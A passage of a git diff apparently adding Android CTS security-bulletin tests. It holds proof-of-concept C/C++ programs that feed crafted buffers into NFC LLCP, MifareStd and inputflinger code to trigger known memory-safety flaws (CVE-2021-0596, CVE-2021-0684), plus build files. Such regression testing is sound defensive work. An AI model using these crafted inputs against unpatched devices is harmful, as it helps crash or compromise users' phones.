+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_int.h>
+#include <nfc_int.h>
+
+extern tLLCP_CB llcp_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  rw_init();
+  llcp_init();
+
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    return EXIT_FAILURE;
+  }
+  p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    return EXIT_FAILURE;
+  }
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  if (!(nfc_cb.quick_timer_queue.p_first)) {
+    free(p_data);
+    free(p_data->data.p_data);
+    return EXIT_FAILURE;
+  }
+
+  uint8_t conn_id = 1;
+  llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION;
+  llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION;
+  llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED;
+  // Set llcp_cb.lcb.local_link_miu greater than p_msg->len
+  llcp_cb.lcb.local_link_miu = 16400;
+  llcp_cb.lcb.received_first_packet = true;
+  llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT;
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+  NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data);
+  // p_msg->len is calculated based on the total PDUs in AGF PDU
+  p_msg->len = 16395;
+  p_msg->offset = 0;
+  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  // First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data
+  // to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu.
+  *p = 0x00;
+  *(p + 1) = 0x80;
+  // The following are trying to emulate PDUs in AGF PDU
+  *(p + 2) = 0x00;
+  *(p + 3) = 0x02;
+  *(p + 4) = 0x02;
+  *(p + 5) = 0x40;
+  *(p + 6) = 0x00;
+  *(p + 7) = 0x01;
+  *(p + 8) = 0x02;
+  *(p + 9) = 0x40;
+  *(p + 10) = 0x00;
+  *(p + 11) = 0x02;
+  *(p + 12) = 0x40;
+
+  llcp_link_connection_cback(conn_id, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
similarity index 96%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
index 7b410b7..3d54d70 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
@@ -16,7 +16,7 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2020-29368",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
     srcs: ["poc.cpp",],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
similarity index 100%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/poc.cpp
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
new file mode 100644
index 0000000..470f256
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0596",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "packages/apps/Nfc/nci/jni/extns/pn54x/inc",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/common",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+        "system/nfc/src/nfc/include",
+    ],
+    shared_libs: [
+        "libnfc_nci_jni",
+    ],
+    cflags: [
+        "-DCHECK_UNDERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
index 7b410b7..9b25004 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0596/poc.cpp
@@ -15,8 +15,21 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+#include "phNxpExtns_MifareStd.h"
+
+uint8_t NFC_GetNCIVersion() {
+    return NCI_VERSION_2_0;
+}
+
+int main() {
+    uint8_t *buffer = (uint8_t*) malloc(16 * sizeof(uint8_t));
+    if (buffer == nullptr) {
+        return EXIT_FAILURE;
+    }
+    uint8_t bufferSize = 1;
+    buffer[0] = 0x10;
+    phNxpExtns_MfcModuleInit();
+    Mfc_RecvPacket(buffer, bufferSize);
+    free(buffer);
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
new file mode 100644
index 0000000..2c9502b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0684",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    header_libs: [
+        "libbatteryservice_headers",
+    ],
+    srcs: [
+        "poc.cpp",
+        "TestInputListener.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
+        "-Wno-unused-parameter",
+    ],
+    static_libs: [
+        "libinputdispatcher",
+    ],
+    shared_libs: [
+        "libinputflinger_base",
+        "libinputreader",
+        "libinputflinger",
+        "libinputreader",
+        "libbase",
+        "libinput",
+        "liblog",
+        "libutils",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
new file mode 100644
index 0000000..875a38a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include "TestInputListener.h"
+
+namespace android {
+
+// --- TestInputListener ---
+
+TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
+                                     std::chrono::milliseconds eventDidNotHappenTimeout)
+      : mEventHappenedTimeout(eventHappenedTimeout),
+        mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
+
+TestInputListener::~TestInputListener() {}
+
+template <class NotifyArgsType>
+void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    if (queue.empty()) {
+        const bool eventReceived =
+                mCondition.wait_for(lock, mEventHappenedTimeout,
+                                    [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+        if (!eventReceived) {
+            return;
+        }
+    }
+    if (outEventArgs) {
+        *outEventArgs = *queue.begin();
+    }
+    queue.erase(queue.begin());
+}
+
+template <class NotifyArgsType>
+void TestInputListener::assertNotCalled(std::string message) {
+    std::unique_lock<std::mutex> lock(mLock);
+    base::ScopedLockAssertion assumeLocked(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    const bool eventReceived =
+            mCondition.wait_for(lock, mEventDidNotHappenTimeout,
+                                [&queue]() REQUIRES(mLock) { return !queue.empty(); });
+    if (eventReceived) {
+        return;
+    }
+}
+
+template <class NotifyArgsType>
+void TestInputListener::notify(const NotifyArgsType* args) {
+    std::scoped_lock<std::mutex> lock(mLock);
+
+    std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
+    queue.push_back(*args);
+    mCondition.notify_all();
+}
+
+void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
+    notify<NotifyConfigurationChangedArgs>(args);
+}
+
+void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
+    notify<NotifyDeviceResetArgs>(args);
+}
+
+void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
+    notify<NotifyKeyArgs>(args);
+}
+
+void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
+    notify<NotifyMotionArgs>(args);
+}
+
+void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
+    notify<NotifySwitchArgs>(args);
+}
+
+void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
+    notify<NotifyPointerCaptureChangedArgs>(args);
+}
+
+void TestInputListener::notifySensor(const NotifySensorArgs* args) {
+    notify<NotifySensorArgs>(args);
+}
+
+void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
+    notify<NotifyVibratorStateArgs>(args);
+}
+
+} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
new file mode 100644
index 0000000..067ac83
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#ifndef _UI_TEST_INPUT_LISTENER_H
+#define _UI_TEST_INPUT_LISTENER_H
+
+#include <android-base/thread_annotations.h>
+#include "InputListener.h"
+
+using std::chrono_literals::operator""ms;
+
+namespace android {
+
+// --- TestInputListener ---
+
+class TestInputListener : public InputListenerInterface {
+protected:
+    virtual ~TestInputListener();
+
+public:
+    TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
+                      std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
+
+    template <class NotifyArgsType>
+    void assertCalled(NotifyArgsType* outEventArgs, std::string message);
+
+    template <class NotifyArgsType>
+    void assertNotCalled(std::string message);
+
+    template <class NotifyArgsType>
+    void notify(const NotifyArgsType* args);
+
+    virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
+
+    virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
+
+    virtual void notifyKey(const NotifyKeyArgs* args) override;
+
+    virtual void notifyMotion(const NotifyMotionArgs* args) override;
+
+    virtual void notifySwitch(const NotifySwitchArgs* args) override;
+
+    virtual void notifySensor(const NotifySensorArgs* args) override;
+
+    virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
+
+    virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
+
+    std::mutex mLock;
+    std::condition_variable mCondition;
+    const std::chrono::milliseconds mEventHappenedTimeout;
+    const std::chrono::milliseconds mEventDidNotHappenTimeout;
+
+    std::tuple<std::vector<NotifyConfigurationChangedArgs>,  //
+               std::vector<NotifyDeviceResetArgs>,           //
+               std::vector<NotifyKeyArgs>,                   //
+               std::vector<NotifyMotionArgs>,                //
+               std::vector<NotifySwitchArgs>,                //
+               std::vector<NotifySensorArgs>,                //
+               std::vector<NotifyVibratorStateArgs>,         //
+               std::vector<NotifyPointerCaptureChangedArgs>> //
+            mQueues GUARDED_BY(mLock);
+};
+
+} // namespace android
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
new file mode 100644
index 0000000..13b33b6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
@@ -0,0 +1,1236 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
+ *  is used as reference to come up with file
+ *  Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
+ *  retained
+ */
+
+#include <InputMapper.h>
+#include <InputReader.h>
+#include <InputReaderBase.h>
+#include <InputReaderFactory.h>
+#include <MultiTouchInputMapper.h>
+#include <TestInputListener.h>
+
+namespace android {
+
+using std::chrono_literals::operator""ms;
+using namespace android::flag_operators;
+
+// Timeout for waiting for an expected event
+static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
+
+// An arbitrary time value.
+static constexpr nsecs_t ARBITRARY_TIME = 1234;
+static constexpr nsecs_t READ_TIME = 4321;
+
+// Arbitrary display properties.
+static constexpr int32_t DISPLAY_ID = 0;
+static constexpr int32_t DISPLAY_WIDTH = 480;
+static constexpr int32_t DISPLAY_HEIGHT = 800;
+static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
+static constexpr int32_t BATTERY_STATUS = 4;
+static constexpr int32_t BATTERY_CAPACITY = 66;
+static constexpr int32_t RAW_X_MIN = 25;
+static constexpr int32_t RAW_X_MAX = 1019;
+static constexpr int32_t RAW_Y_MIN = 30;
+static constexpr int32_t RAW_Y_MAX = 1009;
+constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
+constexpr int32_t DEVICE_GENERATION = 2;
+
+const char* DEVICE_NAME = "device";
+const char* DEVICE_LOCATION = "USB1";
+const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
+constexpr int32_t EVENTHUB_ID = 1;
+const std::string UNIQUE_ID = "local:0";
+
+template <typename T>
+static inline T min(T a, T b) {
+    return a < b ? a : b;
+}
+
+// --- TestPointerController ---
+
+class TestPointerController : public PointerControllerInterface {
+    bool mHaveBounds;
+    float mMinX, mMinY, mMaxX, mMaxY;
+    float mX, mY;
+    int32_t mButtonState;
+    int32_t mDisplayId;
+
+public:
+    TestPointerController()
+          : mHaveBounds(false),
+            mMinX(0),
+            mMinY(0),
+            mMaxX(0),
+            mMaxY(0),
+            mX(0),
+            mY(0),
+            mButtonState(0),
+            mDisplayId(ADISPLAY_ID_DEFAULT) {}
+
+    virtual ~TestPointerController() {}
+
+    void setBounds(float minX, float minY, float maxX, float maxY) {
+        mHaveBounds = true;
+        mMinX = minX;
+        mMinY = minY;
+        mMaxX = maxX;
+        mMaxY = maxY;
+    }
+
+    void setPosition(float x, float y) override {
+        mX = x;
+        mY = y;
+    }
+
+    void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
+
+    int32_t getButtonState() const override { return mButtonState; }
+
+    void getPosition(float* outX, float* outY) const override {
+        *outX = mX;
+        *outY = mY;
+    }
+
+    int32_t getDisplayId() const override { return mDisplayId; }
+
+    void setDisplayViewport(const DisplayViewport& viewport) override {
+        mDisplayId = viewport.displayId;
+    }
+
+    const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
+
+private:
+    bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
+        *outMinX = mMinX;
+        *outMinY = mMinY;
+        *outMaxX = mMaxX;
+        *outMaxY = mMaxY;
+        return mHaveBounds;
+    }
+
+    void move(float deltaX, float deltaY) override {
+        mX += deltaX;
+        if (mX < mMinX) mX = mMinX;
+        if (mX > mMaxX) mX = mMaxX;
+        mY += deltaY;
+        if (mY < mMinY) mY = mMinY;
+        if (mY > mMaxY) mY = mMaxY;
+    }
+
+    void fade(Transition) override {}
+
+    void unfade(Transition) override {}
+
+    void setPresentation(Presentation) override {}
+
+    void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
+                  int32_t displayId) override {
+        std::vector<int32_t> newSpots;
+        // Add spots for fingers that are down.
+        for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
+            uint32_t id = idBits.clearFirstMarkedBit();
+            newSpots.push_back(id);
+        }
+
+        mSpotsByDisplay[displayId] = newSpots;
+    }
+
+    void clearSpots() override {}
+
+    std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
+};
+
+// --- TestInputReaderPolicy---
+
+class TestInputReaderPolicy : public InputReaderPolicyInterface {
+    std::mutex mLock;
+    std::condition_variable mDevicesChangedCondition;
+
+    InputReaderConfiguration mConfig;
+    std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
+    std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
+    bool mInputDevicesChanged GUARDED_BY(mLock){false};
+    std::vector<DisplayViewport> mViewports;
+    TouchAffineTransformation transform;
+
+protected:
+    virtual ~TestInputReaderPolicy() {}
+
+public:
+    TestInputReaderPolicy() {}
+
+    virtual void clearViewports() {
+        mViewports.clear();
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
+        return mConfig.getDisplayViewportByUniqueId(uniqueId);
+    }
+    std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
+        return mConfig.getDisplayViewportByType(type);
+    }
+
+    std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
+        return mConfig.getDisplayViewportByPort(displayPort);
+    }
+
+    void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
+                            bool isActive, const std::string& uniqueId,
+                            std::optional<uint8_t> physicalPort, ViewportType viewportType) {
+        const DisplayViewport viewport =
+                createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
+                                      physicalPort, viewportType);
+        mViewports.push_back(viewport);
+        mConfig.setDisplayViewports(mViewports);
+    }
+
+    bool updateViewport(const DisplayViewport& viewport) {
+        size_t count = mViewports.size();
+        for (size_t i = 0; i < count; i++) {
+            const DisplayViewport& currentViewport = mViewports[i];
+            if (currentViewport.displayId == viewport.displayId) {
+                mViewports[i] = viewport;
+                mConfig.setDisplayViewports(mViewports);
+                return true;
+            }
+        }
+        // no viewport found.
+        return false;
+    }
+
+    void addExcludedDeviceName(const std::string& deviceName) {
+        mConfig.excludedDeviceNames.push_back(deviceName);
+    }
+
+    void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
+        mConfig.portAssociations.insert({inputPort, displayPort});
+    }
+
+    void addInputUniqueIdAssociation(const std::string& inputUniqueId,
+                                     const std::string& displayUniqueId) {
+        mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
+    }
+
+    void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
+
+    void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
+
+    void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
+        mPointerControllers.insert_or_assign(deviceId, std::move(controller));
+    }
+
+    const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
+
+    const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
+
+    TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
+                                                           int32_t surfaceRotation) {
+        return transform;
+    }
+
+    void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
+
+    void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
+
+    void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
+
+    void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
+        mConfig.defaultPointerDisplayId = pointerDisplayId;
+    }
+
+    float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
+
+private:
+    DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
+                                          int32_t orientation, bool isActive,
+                                          const std::string& uniqueId,
+                                          std::optional<uint8_t> physicalPort, ViewportType type) {
+        bool isRotated =
+                (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
+        DisplayViewport v;
+        v.displayId = displayId;
+        v.orientation = orientation;
+        v.logicalLeft = 0;
+        v.logicalTop = 0;
+        v.logicalRight = isRotated ? height : width;
+        v.logicalBottom = isRotated ? width : height;
+        v.physicalLeft = 0;
+        v.physicalTop = 0;
+        v.physicalRight = isRotated ? height : width;
+        v.physicalBottom = isRotated ? width : height;
+        v.deviceWidth = isRotated ? height : width;
+        v.deviceHeight = isRotated ? width : height;
+        v.isActive = isActive;
+        v.uniqueId = uniqueId;
+        v.physicalPort = physicalPort;
+        v.type = type;
+        return v;
+    }
+
+    void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
+        *outConfig = mConfig;
+    }
+
+    std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
+        return mPointerControllers[deviceId];
+    }
+
+    void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mInputDevices = inputDevices;
+        mInputDevicesChanged = true;
+        mDevicesChangedCondition.notify_all();
+    }
+
+    std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
+            const InputDeviceIdentifier&) override {
+        return nullptr;
+    }
+
+    std::string getDeviceAlias(const InputDeviceIdentifier&) override { return ""; }
+
+    void waitForInputDevices(std::function<void(bool)> processDevicesChanged) {
+        std::unique_lock<std::mutex> lock(mLock);
+        base::ScopedLockAssertion assumeLocked(mLock);
+
+        mDevicesChangedCondition.wait_for(lock, WAIT_TIMEOUT, [this]() REQUIRES(mLock) {
+            return mInputDevicesChanged;
+        });
+        mInputDevicesChanged = false;
+    }
+};
+
+// --- TestEventHub ---
+
+class TestEventHub : public EventHubInterface {
+    struct KeyInfo {
+        int32_t keyCode;
+        uint32_t flags;
+    };
+
+    struct SensorInfo {
+        InputDeviceSensorType sensorType;
+        int32_t sensorDataIndex;
+    };
+
+    struct Device {
+        InputDeviceIdentifier identifier;
+        Flags<InputDeviceClass> classes;
+        PropertyMap configuration;
+        KeyedVector<int, RawAbsoluteAxisInfo> absoluteAxes;
+        KeyedVector<int, bool> relativeAxes;
+        KeyedVector<int32_t, int32_t> keyCodeStates;
+        KeyedVector<int32_t, int32_t> scanCodeStates;
+        KeyedVector<int32_t, int32_t> switchStates;
+        KeyedVector<int32_t, int32_t> absoluteAxisValue;
+        KeyedVector<int32_t, KeyInfo> keysByScanCode;
+        KeyedVector<int32_t, KeyInfo> keysByUsageCode;
+        KeyedVector<int32_t, bool> leds;
+        std::unordered_map<int32_t, SensorInfo> sensorsByAbsCode;
+        BitArray<MSC_MAX> mscBitmask;
+        std::vector<VirtualKeyDefinition> virtualKeys;
+        bool enabled;
+
+        status_t enable() {
+            enabled = true;
+            return OK;
+        }
+
+        status_t disable() {
+            enabled = false;
+            return OK;
+        }
+
+        explicit Device(Flags<InputDeviceClass> classes) : classes(classes), enabled(true) {}
+    };
+
+    std::mutex mLock;
+    std::condition_variable mEventsCondition;
+
+    KeyedVector<int32_t, Device*> mDevices;
+    std::vector<std::string> mExcludedDevices;
+    std::vector<RawEvent> mEvents GUARDED_BY(mLock);
+    std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> mVideoFrames;
+    std::vector<int32_t> mVibrators = {0, 1};
+    std::unordered_map<int32_t, RawLightInfo> mRawLightInfos;
+    // Simulates a device light brightness, from light id to light brightness.
+    std::unordered_map<int32_t /* lightId */, int32_t /* brightness*/> mLightBrightness;
+    // Simulates a device light intensities, from light id to light intensities map.
+    std::unordered_map<int32_t /* lightId */, std::unordered_map<LightColor, int32_t>>
+            mLightIntensities;
+
+public:
+    virtual ~TestEventHub() {
+        for (size_t i = 0; i < mDevices.size(); i++) {
+            delete mDevices.valueAt(i);
+        }
+    }
+
+    TestEventHub() {}
+
+    void addDevice(int32_t deviceId, const std::string& name, Flags<InputDeviceClass> classes) {
+        Device* device = new Device(classes);
+        device->identifier.name = name;
+        mDevices.add(deviceId, device);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_ADDED, 0, 0);
+    }
+
+    void removeDevice(int32_t deviceId) {
+        delete mDevices.valueFor(deviceId);
+        mDevices.removeItem(deviceId);
+
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, deviceId, EventHubInterface::DEVICE_REMOVED, 0, 0);
+    }
+
+    bool isDeviceEnabled(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return false;
+        }
+        return device->enabled;
+    }
+
+    status_t enableDevice(int32_t deviceId) {
+        status_t result;
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already enabled", __func__, deviceId);
+            return OK;
+        }
+        result = device->enable();
+        return result;
+    }
+
+    status_t disableDevice(int32_t deviceId) {
+        Device* device = getDevice(deviceId);
+        if (device == nullptr) {
+            ALOGE("Incorrect device id=%" PRId32 " provided to %s", deviceId, __func__);
+            return BAD_VALUE;
+        }
+        if (!device->enabled) {
+            ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
+            return OK;
+        }
+        return device->disable();
+    }
+
+    void finishDeviceScan() {
+        enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
+    }
+
+    void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addProperty(key, value);
+    }
+
+    void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
+        Device* device = getDevice(deviceId);
+        device->configuration.addAll(configuration);
+    }
+
+    void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
+                         int fuzz, int resolution = 0) {
+        Device* device = getDevice(deviceId);
+
+        RawAbsoluteAxisInfo info;
+        info.valid = true;
+        info.minValue = minValue;
+        info.maxValue = maxValue;
+        info.flat = flat;
+        info.fuzz = fuzz;
+        info.resolution = resolution;
+        device->absoluteAxes.add(axis, info);
+    }
+
